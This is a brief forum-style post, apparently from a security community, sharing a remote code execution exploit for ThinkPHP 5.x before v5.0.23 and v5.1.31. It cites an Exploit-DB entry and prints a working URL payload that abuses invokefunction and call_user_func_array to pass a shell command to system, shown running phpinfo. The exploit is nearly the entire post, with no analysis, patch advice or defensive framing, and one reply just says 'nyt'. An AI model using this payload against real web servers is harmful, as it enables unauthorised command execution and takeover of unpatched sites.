Web ThinkPHP 5.x < v5.0.23, v5.1.31 Remote Code Execution

[tabac]

ThinkPHP 5.x < v5.0.23,v5.1.31 Remote Code Execution

https://www.exploit-db.com/exploits/45978

/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php%20-r%20'phpinfo();'

 

[AiZen042]

nyt